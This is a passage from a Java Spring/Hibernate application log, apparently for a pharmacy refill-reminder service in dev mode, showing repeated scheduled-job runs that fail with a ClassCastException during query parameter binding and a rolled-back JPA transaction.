org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 